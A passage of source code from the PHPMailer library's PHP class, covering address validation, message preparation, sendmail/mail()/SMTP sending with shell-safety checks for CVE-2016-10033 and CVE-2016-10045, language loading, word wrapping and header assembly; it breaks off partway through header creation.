    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
